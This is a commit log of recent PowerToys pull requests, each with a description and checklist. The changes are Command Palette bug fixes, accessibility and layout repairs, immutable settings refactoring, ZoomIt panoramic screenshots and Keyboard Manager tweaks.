<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-28 13:33:31 +00:00
Jessica Dene Earley-Cha
75a0fe1d2f [CmdPal] Fix keyboard navigation double Tab stop in details panel (#46346)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Fixes a keyboard accessibility issue in Command Palette where Tab
navigation would stop twice on container elements in the details panel
instead of navigating to details panel and then directly to interactive
controls. The items in the Details Panel aren't really interactable
anyways (the AllAppsPage & ClipBoard History just displays details)

This is part of the a11y bug batch.
User Impact:
Keyboard-only and assistive-technology users may experience confusion,
extra navigation effort, and reduced efficiency when interacting with
the Search Apps pane.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed



https://github.com/user-attachments/assets/0d5f0f20-040c-4d22-b769-3fe318c66697
2026-03-27 18:51:54 -05:00
Jiří Polášek
5792d32d32 CmdPal: Make Window Walker Close window command respect "Keep open" option (#45721)
## Summary of the Pull Request

This PR fixes the "Close window" command in the Window Walker built-in
extension and makes it obey the "Keep open after closing window" option
in the extension's settings.

It also adds a message that forces Window Walker to refresh its list of
windows, so that the closed window disappears from the list (and
similarly for end task commands).

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43256 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-27 18:46:36 -05:00
Jiří Polášek
4cb3359314 CmdPal: Plain text viewer and image viewer IContent (#43964)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR introduces new types of IContent:  
- Plain text content – simple and straightforward, with options to
switch between UI and monospace fonts and toggle word wrap.
- It's super safe to display any random text content without having to
worry about escaping the pesky markdown.
- Image viewer content – a more polished way to display images:  
- When placed in the ContentPage, the component automatically resizes to
fit the viewport, ensuring the entire image is visible at once.
- Images can be opened in a built-in mini-viewer that lets you view,
pan, and zoom without leaving the Command Palette. (Doing this directly
on the page proved to be a UX and development headache.) Fully
keyboard-controllable, so there’s no need to take your hands off the
keys.

## Pictures? Pictures!

Plain text content:

<img width="960" height="604" alt="image"
src="https://github.com/user-attachments/assets/a4ec36f3-2f7f-4a2a-a646-53056c512023"
/>

Image viewer content:

<img width="939" height="605" alt="image"
src="https://github.com/user-attachments/assets/c87f5726-8cd0-4015-b2d9-f1457fa1ec96"
/>



https://github.com/user-attachments/assets/915cd9d2-e4e3-4baf-8df6-6a328a3592ba


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #41038
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-27 18:45:41 -05:00
Jiří Polášek
943c2a1ff5 CmdPal: Harden performance monitor and enable crash recovery (#46541)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR has two parts:

1. Hardens the managed paths in the Performance Monitor extension to
catch everything we can.
1. Adds crash recovery for cases where something fails in a way we
cannot handle.

## Pictures? Pictures!

<img width="1060" height="591" alt="image"
src="https://github.com/user-attachments/assets/ee91c610-32eb-4117-b9b8-6bbc40b9b426"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46522
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-27 18:39:26 -05:00
Jiří Polášek
f686155d9b CmdPal: Fix Dock context menu following active item in Command Bar (#46420)
## Summary of the Pull Request

This PR decouples the Dock control context menu from the item selected
in the Shell Page list / Command Bar.

- Adds a new property to the context menu to control whether it should
react to messages like `UpdateCommandBarMessage`
- The `DockControl` context menu no longer follows those messages

Additional changes:

- Ensures the context menu for Dock-selected search box position
reflects the Dock position (when the Dock is at the bottom, the search
box is also at the bottom)
- Consistently displays the dock item context menu even for items with a
single context menu action (instead of showing the Dock menu, which was
confusing)

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46404
- [x] Closes: #45892
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-27 18:38:09 -05:00
Jiří Polášek
9afa1ec71d CmdPal: Remove workaround for FontIconSource.CreateIconElement (#45790)
## Summary of the Pull Request

This PR removes workaround for FontIconSource.CreateIconElement icon not
being visible, as it looks like it was fixed in WASDK 1.8.4.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45788
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-27 18:37:31 -05:00
Michael Jolley
4337f8e5ff CmdPal: Make settings and app state immutable (#46451)
## Summary
 
 This PR refactors CmdPal settings/state to be immutable end-to-end.
 
 ### Core changes
 - Convert model types to immutable records / init-only properties:
   - `SettingsModel`
   - `AppStateModel`
   - `ProviderSettings`
   - `DockSettings`
   - `RecentCommandsManager`
- supporting settings types (fallback/hotkey/alias/top-level
hotkey/history items, etc.)
- Replace mutable collections with immutable equivalents where
appropriate:
   - `ImmutableDictionary<,>`
   - `ImmutableList<>`
 - Move mutation flow to atomic service updates:
- `ISettingsService.UpdateSettings(Func<SettingsModel, SettingsModel>)`
   - `IAppStateService.UpdateState(Func<AppStateModel, AppStateModel>)`
- Update ViewModels/managers/services to use copy-on-write (`with`)
patterns instead of in-place
mutation.
- Update serialization context + tests for immutable model graph
compatibility.
 
 ## Why
 
Issue #46437 is caused by mutable shared state being updated from
different execution paths/threads,
leading to race-prone behavior during persistence/serialization.
 
By making settings/app state immutable and using atomic swap/update
patterns, we remove in-place
mutation and eliminate this class of concurrency bug.
 
 ## Validation
 
 - Built successfully:
   - `Microsoft.CmdPal.UI.ViewModels`
   - `Microsoft.CmdPal.UI`
   - `Microsoft.CmdPal.UI.ViewModels.UnitTests`
 - Updated unit tests for immutable update patterns.
 
 Fixes #46437

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-27 17:54:58 +00:00
Dave Rayment
ed47bceac2 [Settings] Fix Quick Accent language list being cropped and not reflowing contents (#45986)
## Summary of the Pull Request
The Character sets list on the Quick Accent settings page had a fixed
3-column layout. This caused two negative user experience issues that
this PR solves:

1. The contents were clipped. When the settings window was resized to be
smaller, the rightmost column(s) were cut off rather than reflowing.
2. The control displayed unnecessary horizontal and vertical scrollbars
nested within the page.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45964
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

I _believe_ the root cause is that the `ItemsWrapGrid` is contained
within the `ListView`'s built-in `ScrollViewer` which was able to expand
infinitely horizontally. During initial layout, the `MaxWidth` binding
to the parent `SettingsGroup`'s `ActualWidth` was respected and the
layout clamped the measurement appropriately, resulting in the correct
number of columns. However, on resize the unbounded `ScrollViewer`'s
infinite horizontal constraint took precedence and the reflow into fewer
columns never happened - the `ScrollViewer` never invalidated its
children's measure because, from its perspective, their available width
(infinite) had not changed. (I think - WinUI's layout and measure cycle
melts my brain.)

The fix required replacing the `MaxWidth` binding on `ItemsWrapGrid`
with a `SizeChanged` handler on the parent `SettingsCard`. The handler
reads the parent card's padding (58 pixels left and 44 pixels right) and
explicitly sets the language set `ListView.MaxWidth` accordingly. A
`Loaded` handler for the card ensures the correct layout on first
render.

The HorizontalScrollbar that caused the layout issue has been removed.

### Screenshots

3-column view:
<img width="1674" height="730" alt="image"
src="https://github.com/user-attachments/assets/890b0f4d-82ef-4147-a220-55941ae5ebc5"
/>


Resized to 2-columns:
<img width="1343" height="730" alt="image"
src="https://github.com/user-attachments/assets/d09aa295-9641-4c19-ab94-597e107614be"
/>

Resized to single-column:
<img width="726" height="823" alt="image"
src="https://github.com/user-attachments/assets/8baa507f-6e03-4f3c-a0ef-2bc2c59ed2e3"
/>


<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

(All manual tests.)

Verified that:
- The 3-column layout is shown when there is enough space (this is the
maximum number of columns because of the page-level constraint.
- The 3-column layout correctly resizes to 2-column then to a
single-column layout when the window is resized, then back again when
made larger.
- The single-column list is shown when the Settings window is opened at
minimum size.
- Selection behaviour performed identically.
2026-03-27 17:48:58 +08:00
Zach Teutsch
df23546c0b [README] Update links and release notes for version 0.98.1 (#46539)
Title.
2026-03-26 15:07:30 -05:00
Alex Mihaiuc
25f44bc6d9 Emulate ZoomIt _mm_cvtsi128_si64 with _mm_storel_epi64 for x86 (#46529)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Added this to ensure that ZoomIt can still build for 32 bit, even though
PowerToys doesn't ship such binaries.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Ensured that the ZoomIt subproject compiles fine for 32 bit, this inside
the Sysinternals build process, also tested that the panoramic
screenshot functionality works. This change is isolated through the
preprocessor for AMD64 and ARM64.
2026-03-26 18:33:25 +01:00
Zach Teutsch
dc533fbdb3 [Keyboard Manager] Remove service enable/disable separate from module, fix editor clear shortcut (#46530)
Two changes to shortcuts here:
1) Remove toggling the KBM service with a shortcut or via command
palette
2) Ensure that shortcut is disabled for editor when shortcut is cleared
2026-03-26 10:20:50 -07:00
Zach Teutsch
c05ba4e2c8 [Keyboard Manager] Allow whitespace-only TextRemappings (#46510)
Title.

Closes #46453
2026-03-26 10:14:13 -07:00
Alex Mihaiuc
c83dd972a0 Add ZoomIt panoramic screenshot functionality (#46506)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This adds several ZoomIt features:

- Panorama / scrolling screenshots. The image reconstruction happens
based on visual cues and accuracy depends on scroll speed during the
capture.
- Text extraction when snipping.
- Break timer improvements (the break timer is now a screen saver,
offering the possibility to lock the computer).
- Functionality for standalone clip trimming is present but not exposed
in the XAML UI.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

The build is successful both with PowerToys and as a standalone
Sysinternals executable. We ensured that the features behave as expected
and that no regressions are introduced.

---------

Co-authored-by: Mark Russinovich <markruss@ntdev.microsoft.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: markrussinovich <markrussinovich@users.noreply.github.com>
Co-authored-by: MarioHewardt <marioh@microsoft.com>
2026-03-26 13:21:43 +01:00
previously contributed as ttenbergen
c33053b26b Add missing Icelandic character í (VK_I) (#46424)
## Summary of the Pull Request
The Icelandic language definition was missing `í` entirely. This adds it
to `VK_I`.

Closes: Add missing Icelandic character í (VK_I) #46423

## Validation Steps Performed
Code review only. The change is a single line addition to a data-only
switch statement, consistent in structure with all other language
entries in the file. No binaries, pipelines, or localization files are
affected.
2026-03-26 16:22:44 +08:00
Niels Laute
2cf7d0f5ec Fix for duplicated dockbands (#46438)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

CommandProviderWrapper.PinDockBand had no duplicate check and it blindly
called .Add() on the settings list every time. This allowed the same
extension to be pinned multiple times to the dock. Once duplicates
existed in settings, LoadTopLevelCommands would faithfully re-create all
of them on every CommandsChanged reload, making edit-mode unpin appear
broken (unpin removes one, reload brings them all back).

 **Fix**
- CommandProviderWrapper.PinDockBand: Check all three band lists
(Start/Center/End) for an existing (ProviderId, CommandId) match before
adding; early-return if already pinned.
- CommandProviderWrapper.LoadTopLevelCommands: Track seen command IDs in
a HashSet when iterating AllPinnedCommands; skip duplicates so they
never materialize in the UI even if present in settings.
  
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-03-25 12:29:55 -05:00
Copilot
7cb0f3861a CmdPal: Fix duplicate "Pin to..." context commands on top-level items (#46458)
Top-level commands on the home page showed duplicate pin context entries
— e.g., "Pin to Dock" appearing twice, or contradictory "Pin to Dock" +
"Unpin from dock" on the same command.

## Summary of the Pull Request

When the window is hidden while a sub-page is active,
`ShellViewModel.Receive(WindowHiddenMessage)` re-navigates to the root
page while `CurrentPage` still points to the sub-page.
`GetProviderContextForCommand` therefore returns the sub-page's
`ProviderContext` (which has `SupportsPinning = true`, `ProviderId =
<extension>`) for the new home-page `ListViewModel`.

With that wrong context, `UnsafeBuildAndInitMoreCommands` runs for each
`ListItemViewModel` wrapping a `TopLevelViewModel` and injects a second
set of pin commands — using the wrong provider's dock/top-level state —
on top of the ones `TopLevelViewModel.BuildContextMenu()` already
injected via `AddMoreCommandsToTopLevel` with the correct per-item
provider context.

**Changes:**

- **`ShellViewModel.cs` (root cause):** Move `isMainPage` evaluation
before `providerContext` is computed; use `CommandProviderContext.Empty`
when navigating to the root page, regardless of what `CurrentPage` is at
that moment.

  ```csharp
  var isMainPage = command == _rootPage;
  var providerContext = isMainPage
      ? CommandProviderContext.Empty
: _appHostService.GetProviderContextForCommand(message.Context,
CurrentPage.ProviderContext);
  ```

- **`CommandPaletteContextMenuFactory.cs` (defensive guard):** In
`UnsafeBuildAndInitMoreCommands`, bail early when the page context
supports pinning and `commandItem.Model.Unsafe is TopLevelViewModel`.
`BuildContextMenu()` on `TopLevelViewModel` already populates pin
commands via `AddMoreCommandsToTopLevel` with the item's own provider
context; adding them again here is always wrong regardless of how the
page context ended up. The `SupportsPinning` check is evaluated first to
skip the `.Unsafe` type-test in the common non-pinning case.

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

The two fixes are complementary: the `ShellViewModel` change prevents
the wrong `ProviderContext` from ever reaching the home-page
`ListViewModel`; the `CommandPaletteContextMenuFactory` guard ensures
`TopLevelViewModel`-backed items are never double-processed even if some
other future code path sets the page context incorrectly.

The guard in
`CommandPaletteContextMenuFactory.UnsafeBuildAndInitMoreCommands` is
ordered so that `providerContext.SupportsPinning` (a cheap bool property
read) is evaluated before `commandItem.Model.Unsafe is
TopLevelViewModel`. This means the field access and type check are
skipped entirely for the common non-pinning case, addressing reviewer
feedback about unnecessary work on the hot path.

## Validation Steps Performed

Manually reproduced by opening CmdPal, navigating into a sub-page (e.g.,
"Search the Web"), closing the window, reopening, and verifying the
context menu for top-level commands shows exactly one "Pin to Dock" (or
"Unpin from dock") entry and at most one top-level pin action — no
duplicates or contradictory pairs.

<!-- START COPILOT CODING AGENT TIPS -->
---

📍 Connect Copilot coding agent with [Jira](https://gh.io/cca-jira-docs),
[Azure Boards](https://gh.io/cca-azure-boards-docs) or
[Linear](https://gh.io/cca-linear-docs) to delegate work to Copilot in
one click without leaving your project management tool.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: michaeljolley <1228996+michaeljolley@users.noreply.github.com>
2026-03-25 18:16:18 +01:00
Jiří Polášek
1106ac61f5 CmdPal: Guard Frame.GoBack to prevent crash (#46493)
## Summary of the Pull Request

This PR adds a guard to the shell page that prevents navigating back
with empty nav stack (which leads to exception, an ultimately to a
crash).

> You should check that the
[CanGoBack](https://learn.microsoft.com/en-us/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.frame.cangoback?view=windows-app-sdk-1.8#microsoft-ui-xaml-controls-frame-cangoback)
property is true before you call GoBack. If you call GoBack while
CanGoBack is false, an exception is thrown.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46492
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-25 12:12:11 -05:00
Niels Laute
107bf3882c Make KBM Editor pinnable (#46482) 2026-03-24 18:52:04 -05:00
Jiří Polášek
3f35b11cee CmdPal: Fix missing primary context command for late-bound items (#46131)
This PR does fix a bug where an item that starts with a null or empty
primary command never adds that primary action to the context menu after
the extension later provides a real command.

- Creates the default primary context-menu item lazily when `Command` or
`Command.Name` becomes available after `SlowInitializeProperties()`
- Refreshes `AllCommands`, `SecondaryCommand`, and `HasMoreCommands`
notifications for late command materialization and Show Details updates.
